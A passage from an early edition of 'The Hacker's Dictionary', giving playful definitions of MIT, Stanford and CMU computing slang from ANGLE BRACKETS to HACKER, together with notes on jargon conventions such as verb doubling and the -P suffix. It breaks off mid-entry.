as a comment on what the implied subject does. Often used to

terminate a conversation. Typical examples involve WIN, LOSE,

HACK, FLAME, BARF, CHOMP:

"The disk heads just crashed." "Lose, lose."

"Mostly he just talked about his --- crock. Flame, flame."

"Boy, what a bagbiter! Chomp, chomp!"

Soundalike slang: similar to Cockney rhyming slang. Often made up on

the spur of the moment. Standard examples:

Boston Globe => Boston Glob

Herald American => Horrid (Harried) American

New York Times => New York Slime

historical reasons => hysterical raisins

government property - do not duplicate (seen on keys)

=> government duplicity - do not propagate

Often the substitution will be made in such a way as to slip in

a standard jargon word:

Dr. Dobb's Journal => Dr. Frob's Journal

creeping featurism => feeping creaturism

Margaret Jacks Hall => Marginal Hacks Hall

The -P convention: turning a word into a question by appending the

syllable "P"; from the LISP convention of appending the letter "P"

to denote a predicate (a Boolean-values function). The question

should expect a yes/no answer, though it needn't. (See T and NIL.)

At dinnertime: "Foodp?" "Yeah, I'm pretty hungry." or "T!"

"State-of-the-world-P?" (Straight) "I'm about to go home."

(Humorous) "Yes, the world has a state."

[One of the best of these is a Gosperism (i.e., due to Bill

Gosper). When we were at a Chinese restaurant, he wanted to know

whether someone would like to share with him a two-person-sized

bowl of soup. His inquiry was: "Split-p soup?" --GLS]

Peculiar nouns: MIT AI hackers love to take various words and add the

wrong endings to them to make nouns and verbs, often by extending a

standard rule to nonuniform cases. Examples:

porous => porosity

generous => generosity

Ergo: mysterious => mysteriosity

ferrous => ferocity

Other examples: winnitude, disgustitude, hackification.

Spoken inarticulations: Words such as "mumble", "sigh", and "groan"

are spoken in places where their referent might more naturally be

used. It has been suggested that this usage derives from the

impossibility of representing such noises in a com link. Another

expression sometimes heard is "complain!"

/*=================================================================*/

ANGLE BRACKETS (primarily MIT) n. Either of the characters "<" and

">". See BROKET.

AOS (aus (East coast) ay-ahs (West coast)) [based on a PDP-10

increment instruction] v. To increase the amount of something.

"Aos the campfire." Usage: considered silly. See SOS.

ARG n. Abbreviation for "argument" (to a function), used so often as

to have become a new word.

AUTOMAGICALLY adv. Automatically, but in a way which, for some reason

(typically because it is too complicated, or too ugly, or perhaps

even too trivial), I don't feel like explaining to you. See MAGIC.

Example: Some programs which produce XGP output files spool them

automagically.

BAGBITER 1. n. Equipment or program that fails, usually

intermittently. 2. BAGBITING: adj. Failing hardware or software.

"This bagbiting system won't let me get out of spacewar." Usage:

verges on obscenity. Grammatically separable; one may speak of

"biting the bag". Synonyms: LOSER, LOSING, CRETINOUS, BLETCHEROUS,

BARFUCIOUS, CHOMPER, CHOMPING.

BANG n. Common alternate name for EXCL (q.v.), especially at CMU. See

SHRIEK.

BAR 1. The second metasyntactic variable, after FOO. "Suppose we have

two functions FOO and BAR. FOO calls BAR..." 2. Often appended to

FOO to produce FOOBAR.

BARF [from the "layman" slang, meaning "vomit"] 1. ib42rj. Term of

disgust. See BLETCH. 2. v. Choke, as on input. May mean to give

an error message. "The function `=' compares two fixnums or two

flonums, and barfs on anything else." 3. BARFULOUS, BARFUCIOUS:

adj. Said of something which would make anyone barf, if only for

aesthetic reasons.

BELLS AND WHISTLES n. Unnecessary but useful (or amusing) features of

a program. "Now that we've got the basic program working, let's go

back and add some bells and whistles." Nobody seems to know what

distinguishes a bell from a whistle.

BIGNUMS [from Macsyma] n. 1. In backgammon, large numbers on the dice.

2. Multiple-precision (sometimes infinitely extendable) integers

and, through analogy, any very large numbers. 3. EL CAMINO BIGNUM:

El Camino Real, a street through the San Francisco peninsula that

originally extended (and still appears in places) all the way to

Mexico City. It was termed "El Camino Double Precision" when

someone noted it was a very long street, and then "El Camino

Bignum" when it was pointed out that it was hundreds of miles long.

BIN [short for BINARY; used as a second file name on ITS] 1. n.

BINARY. 2. BIN FILE: A file containing the BIN for a program.

Usage: used at MIT, which runs on ITS. The equivalent term at

Stanford is DMP (pronounced "dump") FILE. Other names used include

SAV ("save") FILE (DEC and Tenex), SHR ("share") and LOW FILES

(DEC), and EXE ("ex'ee") FILE (DEC and Twenex). Also in this

category are the input files to the various flavors of linking

loaders (LOADER, LINK-10, STINK), called REL FILES.

BINARY n. The object code for a program.

BIT n. 1. The unit of information; the amount of information obtained

by asking a yes-or-no question. "Bits" is often used simply to

mean information, as in "Give me bits about DPL replicators". 2.

[By extension from "interrupt bits" on a computer] A reminder that

something should be done or talked about eventually. Upon seeing

someone that you haven't talked to for a while, it's common for one

or both to say, "I have a bit set for you."

BITBLT (bit'blit) 1. v. To perform a complex operation on a large

block of bits, usually involving the bits being displayed on a

bitmapped raster screen. See BLT. 2. n. The operation itself.

BIT BUCKET n. 1. A receptacle used to hold the runoff from the

computer's shift registers. 2. Mythical destination of deleted

files, GC'ed memory, and other no-longer-accessible data. 3. The

physical device associated with "NUL:".

BLETCH [from German "brechen", to vomit (?)] 1. interj. Term of

disgust. 2. BLETCHEROUS: adj. Disgusting in design or function.

"This keyboard is bletcherous!" Usage: slightly comic.

BLT (blit, very rarely belt) [based on the PDP-10 block transfer

instruction; confusing to users of the PDP-11] 1. v. To transfer a

large contiguous package of information from one place to another.

2. THE BIG BLT: n. Shuffling operation on the PDP-10 under some

operating systems that consumes a significant amount of computer

time. 3. (usually pronounced B-L-T) n. Sandwich containing bacon,

lettuce, and tomato.

BOGOSITY n. The degree to which something is BOGUS (q.v.). At CMU,

bogosity is measured with a bogometer; typical use: in a seminar,

when a speaker says something bogus, a listener might raise his

hand and say, "My bogometer just triggered." The agreed-upon unit

of bogosity is the microLenat (uL).

BOGUS (WPI, Yale, Stanford) adj. 1. Non-functional. "Your patches are

bogus." 2. Useless. "OPCON is a bogus program." 3. False. "Your

arguments are bogus." 4. Incorrect. "That algorithm is bogus."

5. Silly. "Stop writing those bogus sagas." (This word seems to

have some, but not all, of the connotations of RANDOM.)

[Etymological note from Lehman/Reid at CMU: "Bogus" was originally

used (in this sense) at Princeton, in the late 60's. It was used

not particularly in the CS department, but all over campus. It

came to Yale, where one of us (Lehman) was an undergraduate, and

(we assume) elsewhere through the efforts of Princeton alumni who

brought the word with them from their alma mater. In the Yale

case, the alumnus is Michael Shamos, who was a graduate student at

Yale and is now a faculty member here. A glossary of bogus words

was compiled at Yale when the word was first popularized (e.g.,

autobogophobia: the fear of becoming bogotified).]

BOUNCE (Stanford) v. To play volleyball. "Bounce, bounce! Stop

wasting time on the computer and get out to the court!"

BRAIN-DAMAGED [generalization of "Honeywell Brain Damage" (HBD), a

theoretical disease invented to explain certain utter cretinisms in

Multics] adj. Obviously wrong; cretinous; demented. There is an

implication that the person responsible must have suffered brain

damage, because he should have known better. Calling something

brain-damaged is really bad; it also implies it is unusable.

BREAK v. 1. To cause to be broken (in any sense). "Your latest patch

to the system broke the TELNET server." 2. (of a program) To stop

temporarily, so that it may be examined for debugging purposes.

The place where it stops is a BREAKPOINT.

BROKEN adj. 1. Not working properly (of programs). 2. Behaving

strangely; especially (of people), exhibiting extreme depression.

BROKET [by analogy with "bracket": a "broken bracket"] (primarily

Stanford) n. Either of the characters "<" and ">". (At MIT, and

apparently in The Real World (q.v.) as well, these are usually

called ANGLE BRACKETS.)

BUCKY BITS (primarily Stanford) n. The bits produced by the CTRL and

META shift keys on a Stanford (or Knight) keyboard. Rumor has it

that the idea for extra bits for characters came from Niklaus

Wirth, and that his nickname was `Bucky'.

DOUBLE BUCKY: adj. Using both the CTRL and META keys. "The command

to burn all LEDs is double bucky F."

BUG [from telephone terminology, "bugs in a telephone cable", blamed

for noisy lines; however, Jean Sammet has repeatedly been heard to

claim that the use of the term in CS comes from a story concerning

actual bugs found wedged in an early malfunctioning computer] n. An

unwanted and unintended property of a program. (People can have

bugs too (even winners) as in "PHW is a super winner, but he has

some bugs.") See FEATURE.

BUM 1. v. To make highly efficient, either in time or space, often at

the expense of clarity. The object of the verb is usually what was

removed ("I managed to bum three more instructions.") but can be

the program being changed ("I bummed the inner loop down to seven

microseconds.") 2. n. A small change to an algorithm to make it

more efficient.

BUZZ v. To run in a very tight loop, perhaps without guarantee of

getting out.

CANONICAL adj. The usual or standard state or manner of something.

A true story: One Bob Sjoberg, new at the MIT AI Lab, expressed

some annoyance at the use of jargon. Over his loud objections, we

made a point of using jargon as much as possible in his presence,

and eventually it began to sink in. Finally, in one conversation,

he used the word "canonical" in jargon-like fashion without

thinking.

Steele: "Aha! We've finally got you talking jargon too!"

Stallman: "What did he say?"

Steele: "He just used `canonical' in the canonical way."

CATATONIA (kat-uh-toe'nee-uh) n. A condition of suspended animation in

which the system is in a wedged (CATATONIC) state.

CDR (ku'der) [from LISP] v. With "down", to trace down a list of

elements. "Shall we cdr down the agenda?" Usage: silly.

CHINE NUAL n. The Lisp Machine Manual, so called because the title is

wrapped around the cover so only those letters show.

CHOMP v. To lose; to chew on something of which more was bitten off

than one can. Probably related to gnashing of teeth. See

BAGBITER. A hand gesture commonly accompanies this, consisting of

the four fingers held together as if in a mitten or hand puppet,

and the fingers and thumb open and close rapidly to illustrate a

biting action. The gesture alone means CHOMP CHOMP (see Verb

Doubling).

CLOSE n. Abbreviation for "close (or right) parenthesis", used when

necessary to eliminate oral ambiguity. See OPEN.

COKEBOTTLE n. Any very unusual character. MIT people complain about

the "control-meta-cokebottle" commands at SAIL, and SAIL people

complain about the "altmode-altmode-cokebottle" commands at MIT.

COM MODE (variant: COMM MODE) [from the ITS feature for linking two or

more terminals together so that text typed on any is echoed on all,

providing a means of conversation among hackers] n. The state a

terminal is in when linked to another in this way. Com mode has a

special set of jargon words, used to save typing, which are not

used orally:

BCNU Be seeing you.

BTW By the way...

BYE? Are you ready to unlink? (This is the standard way to

end a com mode conversation; the other person types

BYE to confirm, or else continues the conversation.)

CUL See you later.

FOO? A greeting, also meaning R U THERE? Often used in the

case of unexpected links, meaning also "Sorry if I

butted in" (linker) or "What's up?" (linkee).

FYI For your information...

GA Go ahead (used when two people have tried to type

simultaneously; this cedes the right to type to

the other).

HELLOP A greeting, also meaning R U THERE? (An instance

of the "-P" convention.)

MtFBWY May the Force be with you. (From Star Wars.)

NIL No (see the main entry for NIL).

OBTW Oh, by the way...

R U THERE? Are you there?

SEC Wait a second (sometimes written SEC...).

T Yes (see the main entry for T).

TNX Thanks.

TNX 1.0E6 Thanks a million (humorous).

When the typing party has finished, he types

two CRLF's to signal that he is done; this leaves a

blank line between individual "speeches" in the

conversation, making it easier to re-read the

preceding text.

: When three or more terminals are linked, each speech

is preceded by the typist's login name and a colon (or

a hyphen) to indicate who is typing. The login name

often is shortened to a unique prefix (possibly a

single letter) during a very long conversation.

/\/\/\ The equivalent of a giggle.

At Stanford, where the link feature is implemented by "talk loops",

the term TALK MODE is used in place of COM MODE. Most of the above

"sub-jargon" is used at both Stanford and MIT.

CONNECTOR CONSPIRACY [probably came into prominence with the

appearance of the KL-10, none of whose connectors match anything

else] n. The tendency of manufacturers (or, by extension,

programmers or purveyors of anything) to come up with new products

which don't fit together with the old stuff, thereby making you buy

either all new stuff or expensive interface devices.

CONS [from LISP] 1. v. To add a new element to a list. 2. CONS UP:

v. To synthesize from smaller pieces: "to cons up an example".

CRASH 1. n. A sudden, usually drastic failure. Most often said of the

system (q.v., definition #1), sometimes of magnetic disk drives.

"Three lusers lost their files in last night's disk crash." A disk

crash which entails the read/write heads dropping onto the surface

of the disks and scraping off the oxide may also be referred to as

a "head crash". 2. v. To fail suddenly. "Has the system just

crashed?" Also used transitively to indicate the cause of the

crash (usually a person or a program, or both). "Those idiots

playing spacewar crashed the system." Sometimes said of people.

See GRONK OUT.

CRETIN 1. n. Congenital loser (q.v.). 2. CRETINOUS: adj. See

BLETCHEROUS and BAGBITING. Usage: somewhat ad hominem.

CRLF (cur'lif, sometimes crul'lif) n. A carriage return (CR) followed

by a line feed (LF). See TERPRI.

CROCK [probably from "layman" slang, which in turn may be derived from

"crock of shit"] n. An awkward feature or programming technique

that ought to be made cleaner. Example: Using small integers to

represent error codes without the program interpreting them to the

user is a crock. Also, a technique that works acceptably but which

is quite prone to failure if disturbed in the least, for example

depending on the machine opcodes having particular bit patterns so

that you can use instructions as data words too; a tightly woven,

almost completely unmodifiable structure.

CRUFTY [from "cruddy"] adj. 1. Poorly built, possibly overly complex.

"This is standard old crufty DEC software". Hence CRUFT, n. shoddy

construction. Also CRUFT, v. [from hand cruft, pun on hand craft]

to write assembler code for something normally (and better) done by

a compiler. 2. Unpleasant, especially to the touch, often with

encrusted junk. Like spilled coffee smeared with peanut butter and

catsup. Hence CRUFT, n. disgusting mess. 3. Generally unpleasant.

CRUFTY or CRUFTIE n. A small crufty object (see FROB); often one

which doesn't fit well into the scheme of things. "A LISP property

list is a good place to store crufties (or, random cruft)."

[Note: Does CRUFT have anything to do with the Cruft Lab at

Harvard? I don't know, though I was a Harvard student. - GLS]

CRUNCH v. 1. To process, usually in a time-consuming or complicated

way. Connotes an essentially trivial operation which is

nonetheless painful to perform. The pain may be due to the

triviality being imbedded in a loop from 1 to 1000000000. "FORTRAN

programs do mostly number crunching." 2. To reduce the size of a

file by a complicated scheme that produces bit configurations

completely unrelated to the original data, such as by a Huffman

code. (The file ends up looking like a paper document would if

somebody crunched the paper into a wad.) Since such compression

usually takes more computations than simpler methods such as

counting repeated characters (such as spaces) the term is doubly

appropriate. (This meaning is usually used in the construction

"file crunch(ing)" to distinguish it from "number crunch(ing)".)

3. n. The character "#". Usage: used at Xerox and CMU, among other

places. Other names for "#" include SHARP, NUMBER, HASH, PIG-PEN,

POUND-SIGN, and MESH. GLS adds: I recall reading somewhere that

most of these are names for the # symbol IN CONTEXT. The name for

the sign itself is "octothorp".

CTY (city) n. The terminal physically associated with a computer's

operating console.

CUSPY [from the DEC acronym CUSP, for Commonly Used System Program,

i.e., a utility program used by many people] (WPI) adj. 1. (of a

program) Well-written. 2. Functionally excellent. A program which

performs well and interfaces well to users is cuspy. See RUDE.

DAEMON (day'mun, dee'mun) [archaic form of "demon", which has slightly

different connotations (q.v.)] n. A program which is not invoked

explicitly, but which lays dormant waiting for some condition(s) to

occur. The idea is that the perpetrator of the condition need not

be aware that a daemon is lurking (though often a program will

commit an action only because it knows that it will implicitly

invoke a daemon). For example, writing a file on the lpt spooler's

directory will invoke the spooling daemon, which prints the file.

The advantage is that programs which want (in this example) files

printed need not compete for access to the lpt. They simply enter

their implicit requests and let the daemon decide what to do with

them. Daemons are usually spawned automatically by the system, and

may either live forever or be regenerated at intervals. Usage:

DAEMON and DEMON (q.v.) are often used interchangeably, but seem to

have distinct connotations. DAEMON was introduced to computing by

CTSS people (who pronounced it dee'mon) and used it to refer to

what is now called a DRAGON or PHANTOM (q.v.). The meaning and

pronunciation have drifted, and we think this glossary reflects

current usage.

DAY MODE See PHASE (of people).

DEADLOCK n. A situation wherein two or more processes are unable to

proceed because each is waiting for another to do something. A

common example is a program communicating to a PTY or STY, which

may find itself waiting for output from the PTY/STY before sending

anything more to it, while the PTY/STY is similarly waiting for

more input from the controlling program before outputting anything.

(This particular flavor of deadlock is called "starvation".

Another common flavor is "constipation", where each process is

trying to send stuff to the other, but all buffers are full because

nobody is reading anything.) See DEADLY EMBRACE.

DEADLY EMBRACE n. Same as DEADLOCK (q.v.), though usually used only

when exactly two processes are involved. DEADLY EMBRACE is the

more popular term in Europe; DEADLOCK in the United States.

***** End of "The Hackers Dictionary", part 1 of 4 *****

"The Hacker's Dictionary" Part 2 of 4 (22k)

DEMENTED adj. Yet another term of disgust used to describe a program.

The connotation in this case is that the program works as designed,

but the design is bad. For example, a program that generates large

numbers of meaningless error messages implying it is on the point

of imminent collapse.

DEMON (dee'mun) n. A portion of a program which is not invoked

explicitly, but which lays dormant waiting for some condition(s) to

occur. See DAEMON. The distinction is that demons are usually

processes within a program, while daemons are usually programs

running on an operating system. Demons are particularly common in

AI programs. For example, a knowledge manipulation program might

implement inference rules as demons. Whenever a new piece of

knowledge was added, various demons would activate (which demons

depends on the particular piece of data) and would create

additional pieces of knowledge by applying their respective

inference rules to the original piece. These new pieces could in

turn activate more demons as the inferences filtered down through

chains of logic. Meanwhile the main program could continue with

whatever its primary task was.

DIABLO (dee-ah'blow) [from the Diablo printer] 1. n. Any letter-

quality printing device. 2. v. To produce letter-quality output

from such a device.

DIDDLE v. To work with in a not particularly serious manner. "I

diddled with a copy of ADVENT so it didn't double-space all the

time." "Let's diddle this piece of code and see if the problem

goes away." See TWEAK and TWIDDLE.

DIKE [from "diagonal cutters"] v. To remove a module or disable it.

"When in doubt, dike it out."

DMP (dump) See BIN.

DO PROTOCOL [from network protocol programming] v. To perform an

interaction with somebody or something that follows a clearly

defined procedure. For example, "Let's do protocol with the check"

at a restaurant means to ask the waitress for the check, calculate

the tip and everybody's share, generate change as necessary, and

pay the bill.

DOWN 1. adj. Not working. "The up escalator is down." 2. TAKE DOWN,

BRING DOWN: v. To deactivate, usually for repair work. See UP.

DPB (duh-pib') [from the PDP-10 instruction set] v. To plop something

down in the middle.

DRAGON n. (MIT) A program similar to a "daemon" (q.v.), except that it

is not invoked at all, but is instead used by the system to perform

various secondary tasks. A typical example would be an accounting

program, which keeps track of who is logged in, accumulates load-

average statistics, etc. At MIT, all free TV's display a list of

people logged in, where they are, what they're running, etc. along

with some random picture (such as a unicorn, Snoopy, or the

Enterprise) which is generated by the "NAME DRAGON". See PHANTOM.

DWIM [Do What I Mean] 1. adj. Able to guess, sometimes even correctly,

what result was intended when provided with bogus input. Often

suggested in jest as a desired feature for a complex program. A

related term, more often seen as a verb, is DTRT (Do The Right

Thing). 2. n. The INTERLISP function that attempts to accomplish

this feat by correcting many of the more common errors. See HAIRY.

ENGLISH n. The source code for a program, which may be in any

language, as opposed to BINARY. Usage: slightly obsolete, used

mostly by old-time hackers, though recognizable in context. At

MIT, directory SYSENG is where the "English" for system programs is

kept, and SYSBIN, the binaries. SAIL has many such directories,

but the canonical one is [CSP,SYS].

EPSILON [from standard mathematical notation for a small quantity] 1.

n. A small quantity of anything. "The cost is epsilon." 2. adj.

Very small, negligible; less than marginal (q.v.). "We can get

this feature for epsilon cost." 3. WITHIN EPSILON OF: Close enough

to be indistinguishable for all practical purposes.

EXCH (ex'chuh, ekstch) [from the PDP-10 instruction set] v. To

exchange two things, each for the other.

EXCL (eks'cul) n. Abbreviation for "exclamation point". See BANG,

SHRIEK, WOW.

EXE (ex'ee) See BIN.

FAULTY adj. Same denotation as "bagbiting", "bletcherous", "losing",

q.v., but the connotation is much milder.

FEATURE n. 1. A surprising property of a program. Occasionally docu-

mented. To call a property a feature sometimes means the author of

the program did not consider the particular case, and the program

makes an unexpected, although not strictly speaking an incorrect

response. See BUG. "That's not a bug, that's a feature!" A bug

can be changed to a feature by documenting it. 2. A well-known and

beloved property; a facility. Sometimes features are planned, but

are called crocks by others. An approximately correct spectrum:

(These terms are all used to describe programs or portions thereof,

except for the first two, which are included for completeness.)

CRASH STOPPAGE BUG SCREW LOSS MISFEATURE

CROCK KLUGE HACK WIN FEATURE PERFECTION

(The last is never actually attained.)

FEEP 1. n. The soft bell of a display terminal (except for a VT-52!);

a beep. 2. v. To cause the display to make a feep sound. TTY's do

not have feeps. Alternate forms: BEEP, BLEEP, or just about

anything suitably onomatopoeic. The term BREEDLE is sometimes

heard at SAIL, where the terminal bleepers are not particularly

"soft" (they sound more like the musical equivalent of sticking out

one's tongue). The "feeper" on a VT-52 has been compared to the

sound of a '52 Chevy stripping its gears.

FENCEPOST ERROR n. The discrete equivalent of a boundary condition.

Often exhibited in programs by iterative loops. From the following

problem: "If you build a fence 100 feet long with posts ten feet

apart, how many posts do you need?" (Either 9 or 11 is a better

answer than the obvious 10.)

FINE (WPI) adj. Good, but not good enough to be CUSPY. [The word FINE

is used elsewhere, of course, but without the implicit comparison

to the higher level implied by CUSPY.]

FLAG DAY [from a bit of Multics history involving a change in the

ASCII character set originally scheduled for June 14, 1966]

n. A software change which is neither forward nor backward

compatible, and which is costly to make and costly to revert.

"Can we install that without causing a flag day for all users?"

FLAKEY adj. Subject to frequent lossages. See LOSSAGE.

FLAME v. To speak incessantly and/or rabidly on some relatively

uninteresting subject or with a patently ridiculous attitude.

FLAME ON: v. To continue to flame. See RAVE. This punning

reference to Marvel comics' Human Torch has been lost as

recent usage completes the circle: "Flame on" now usually

means "beginning of flame".

FLAP v. To unload a DECtape (so it goes flap, flap, flap...). Old

hackers at MIT tell of the days when the disk was device 0 and

microtapes were 1, 2,... and attempting to flap device 0 would

instead start a motor banging inside a cabinet near the disk!

FLAVOR n. 1. Variety, type, kind. "DDT commands come in two flavors."

See VANILLA. 2. The attribute of causing something to be

FLAVORFUL. "This convention yields additional flavor by allowing

one to..." 3. On the LispMachine, an object-oriented programming

system ("flavors"); each class of object is a flavor.

FLAVORFUL adj. Aesthetically pleasing. See RANDOM and LOSING for

antonyms. See also the entry for TASTE.

FLUSH v. 1. To delete something, usually superfluous. "All that

nonsense has been flushed." Standard ITS terminology for aborting

an output operation. 2. To leave at the end of a day's work (as

opposed to leaving for a meal). "I'm going to flush now." "Time

to flush." 3. To exclude someone from an activity.

FOO 1. [from Yiddish "feh" or the Anglo-Saxon "fooey!"] interj. Term

of disgust. 2. [from FUBAR (Fucked Up Beyond All Recognition),

from WWII, often seen as FOOBAR] Name used for temporary programs,

or samples of three-letter names. Other similar words are BAR, BAZ

(Stanford corruption of BAR), and rarely RAG. These have been used

in Pogo as well. 3. Used very generally as a sample name for

absolutely anything. The old `Smokey Stover' comic strips often

included the word FOO, in particular on license plates of cars.

MOBY FOO: See MOBY.

FRIED adj. 1. Non-working due to hardware failure; burnt out. 2. Of

people, exhausted. Said particularly of those who continue to work

in such a state. Often used as an explanation or excuse. "Yeah, I

know that fix destroyed the file system, but I was fried when I put

it in."

FROB 1. n. (MIT) The official Tech Model Railroad Club definition is

"FROB = protruding arm or trunnion", and by metaphoric extension

any somewhat small thing. See FROBNITZ. 2. v. Abbreviated form of

FROBNICATE.

FROBNICATE v. To manipulate or adjust, to tweak. Derived from

FROBNITZ (q.v.). Usually abbreviated to FROB. Thus one has the

saying "to frob a frob". See TWEAK and TWIDDLE. Usage: FROB,

TWIDDLE, and TWEAK sometimes connote points along a continuum.

FROB connotes aimless manipulation; TWIDDLE connotes gross

manipulation, often a coarse search for a proper setting; TWEAK

connotes fine-tuning. If someone is turning a knob on an

oscilloscope, then if he's carefully adjusting it he is probably

tweaking it; if he is just turning it but looking at the screen he

is probably twiddling it; but if he's just doing it because turning

a knob is fun, he's frobbing it.

FROBNITZ, pl. FROBNITZEM (frob'nitsm) n. An unspecified physical

object, a widget. Also refers to electronic black boxes. This

rare form is usually abbreviated to FROTZ, or more commonly to

FROB. Also used are FROBNULE, FROBULE, and FROBNODULE. Starting

perhaps in 1979, FROBBOZ (fruh-bahz'), pl. FROBBOTZIM, has also

become very popular, largely due to its exposure via the Adventure

spin-off called Zork (Dungeon). These can also be applied to

non-physical objects, such as data structures.

FROG (variant: PHROG) 1. interj. Term of disgust (we seem to have a

lot of them). 2. Used as a name for just about anything. See FOO.

3. n. Of things, a crock. Of people, somewhere inbetween a turkey

and a toad. 4. Jake Brown (FRG@SAIL). 5. FROGGY: adj. Similar to

BAGBITING (q.v.), but milder. "This froggy program is taking

forever to run!"

FROTZ 1. n. See FROBNITZ. 2. MUMBLE FROTZ: An interjection of very

mild disgust.

FRY v. 1. To fail. Said especially of smoke-producing hardware

failures. 2. More generally, to become non-working. Usage: never

said of software, only of hardware and humans. See FRIED.

FTP (spelled out, NOT pronounced "fittip") 1. n. The File Transfer

Protocol for transmitting files between systems on the ARPAnet. 2.

v. To transfer a file using the File Transfer Program. "Lemme get

this copy of Wuthering Heights FTP'd from SAIL."

FUDGE 1. v. To perform in an incomplete but marginally acceptable way,

particularly with respect to the writing of a program. "I didn't

feel like going through that pain and suffering, so I fudged it."

2. n. The resulting code.

FUDGE FACTOR n. A value or parameter that is varied in an ad hoc way

to produce the desired result. The terms "tolerance" and "slop"

are also used, though these usually indicate a one-sided leeway,

such as a buffer which is made larger than necessary because one

isn't sure exactly how large it needs to be, and it is better to

waste a little space than to lose completely for not having enough.

A fudge factor, on the other hand, can often be tweaked in more

than one direction. An example might be the coefficients of an

equation, where the coefficients are varied in an attempt to make

the equation fit certain criteria.

GABRIEL [for Dick Gabriel, SAIL volleyball fanatic] n. An unnecessary

(in the opinion of the opponent) stalling tactic, e.g., tying one's

shoelaces or hair repeatedly, asking the time, etc. Also used to

refer to the perpetrator of such tactics. Also, "pulling a

Gabriel", "Gabriel mode".

GARBAGE COLLECT v., GARBAGE COLLECTION n. See GC.

GARPLY n. (Stanford) Another meta-word popular among SAIL hackers.

GAS [as in "gas chamber"] interj. 1. A term of disgust and hatred,

implying that gas should be dispensed in generous quantities,

thereby exterminating the source of irritation. "Some loser just

reloaded the system for no reason! Gas!" 2. A term suggesting

that someone or something ought to be flushed out of mercy. "The

system's wedging every few minutes. Gas!" 3. v. FLUSH (q.v.).

"You should gas that old crufty software." 4. GASEOUS adj.

Deserving of being gassed. Usage: primarily used by Geoff

Goodfellow at SRI, but spreading.

GC [from LISP terminology] 1. v. To clean up and throw away useless

things. "I think I'll GC the top of my desk today." 2. To

recycle, reclaim, or put to another use. 3. To forget. The

implication is often that one has done so deliberately. 4. n. An

instantiation of the GC process.

GEDANKEN [from Einstein's term "gedanken-experimenten", such as the

standard proof that E=mc^2] adj. An AI project which is written up

in grand detail without ever being implemented to any great extent.

Usually perpetrated by people who aren't very good hackers or find

programming distasteful or are just in a hurry. A gedanken thesis

is usually marked by an obvious lack of intuition about what is

programmable and what is not and about what does and does not

constitute a clear specification of a program-related concept such

as an algorithm.

GLASS TTY n. A terminal which has a display screen but which, because

of hardware or software limitations, behaves like a teletype or

other printing terminal. An example is the ADM-3 (without cursor

control). A glass tty can't do neat display hacks, and you can't

save the output either.

GLITCH [from the Yiddish "glitshen", to slide] 1. n. A sudden

interruption in electric service, sanity, or program function.

Sometimes recoverable. 2. v. To commit a glitch. See GRITCH.

3. v. (Stanford) To scroll a display screen.

GLORK 1. interj. Term of mild surprise, usually tinged with outrage,

as when one attempts to save the results of two hours of editing

and finds that the system has just crashed. 2. Used as a name for

just about anything. See FOO. 3. v. Similar to GLITCH (q.v.), but

usually used reflexively. "My program just glorked itself."

GOBBLE v. To consume or to obtain. GOBBLE UP tends to imply

"consume", while GOBBLE DOWN tends to imply "obtain". "The output

spy gobbles characters out of a TTY output buffer." "I guess I'll

gobble down a copy of the documentation tomorrow." See SNARF.

GORP (CMU) [perhaps from the generic term for dried hiker's food,

stemming from the acronym "Good Old Raisins and Peanuts"] Another

metasyntactic variable, like FOO and BAR.

GRIND v. 1. (primarily MIT) To format code, especially LISP code, by

indenting lines so that it looks pretty. Hence, PRETTY PRINT, the

generic term for such operations. 2. To run seemingly

interminably, performing some tedious and inherently useless task.

Similar to CRUNCH.

GRITCH 1. n. A complaint (often caused by a GLITCH (q.v.)). 2. v. To

complain. Often verb-doubled: "Gritch gritch". 3. Glitch.

GROK [from the novel "Stranger in a Strange Land", by Robert Heinlein,

where it is a Martian word meaning roughly "to be one with"] v. To

understand, usually in a global sense.

GRONK [popularized by the cartoon strip "B.C." by Johnny Hart, but the

word apparently predates that] v. 1. To clear the state of a wedged

device and restart it. More severe than "to frob" (q.v.). 2. To

break. "The teletype scanner was gronked, so we took the system

down." 3. GRONKED: adj. Of people, the condition of feeling very

tired or sick. 4. GRONK OUT: v. To cease functioning. Of people,

to go home and go to sleep. "I guess I'll gronk out now; see you

all tomorrow."

GROVEL v. To work interminably and without apparent progress. Often

used with "over". "The compiler grovelled over my code." Compare

GRIND and CRUNCH. Emphatic form: GROVEL OBSCENELY.

GRUNGY adj. Incredibly dirty or grubby. Anything which has been

washed within the last year is not really grungy. Also used

metaphorically; hence some programs (especially crocks) can be

described as grungy.

GUBBISH [a portmanteau of "garbage" and "rubbish"?] n. Garbage; crap;

nonsense. "What is all this gubbish?"

GUN [from the GUN command on ITS] v. To forcibly terminate a program

or job (computer, not career). "Some idiot left a background

process running soaking up half the cycles, so I gunned it."

HACK n. 1. Originally a quick job that produces what is needed, but

not well. 2. The result of that job. 3. NEAT HACK: A clever

technique. Also, a brilliant practical joke, where neatness is

correlated with cleverness, harmlessness, and surprise value.

Example: the Caltech Rose Bowl card display switch circa 1961.

4. REAL HACK: A crock (occasionally affectionate).

v. 5. With "together", to throw something together so it will work.

6. To bear emotionally or physically. "I can't hack this heat!" 7.

To work on something (typically a program). In specific sense:

"What are you doing?" "I'm hacking TECO." In general sense: "What

do you do around here?" "I hack TECO." (The former is

time-immediate, the latter time-extended.) More generally, "I hack

x" is roughly equivalent to "x is my bag". "I hack solid-state

physics." 8. To pull a prank on. See definition 3 and HACKER (def

#6). 9. v.i. To waste time (as opposed to TOOL). "Watcha up to?"

"Oh, just hacking." 10. HACK UP (ON): To hack, but generally

implies that the result is meanings 1-2. 11. HACK VALUE: Term used

as the reason or motivation for expending effort toward a seemingly

useless goal, the point being that the accomplished goal is a hack.

For example, MacLISP has code to read and print roman numerals,

which was installed purely for hack value.

HAPPY HACKING: A farewell. HOW'S HACKING?: A friendly greeting

among hackers. HACK HACK: A somewhat pointless but friendly

comment, often used as a temporary farewell.

[The word HACK doesn't really have 69 different meanings. In fact,

HACK has only one meaning, an extremely subtle and profound one

which defies articulation. Which connotation a given HACK-token

has depends in similarly profound ways on the context. Similar

comments apply to a couple other hacker jargon items, most notably

RANDOM. - Agre]

HACKER [originally, someone who makes furniture with an axe] n. 1. A

person who enjoys learning the details of programming systems and

how to stretch their capabilities, as opposed to most users who

prefer to learn only the minimum necessary. 2. One who programs

enthusiastically, or who enjoys programming rather than just

theorizing about programming. 3. A person capable of appreciating

hack value (q.v.). 4. A person who is good at programming quickly.

Not everything a hacker produces is a hack. 5. An expert at a

particular program, or one who frequently does work using it or on

it; example: "A SAIL hacker". (Definitions 1 to 5 are correlated,

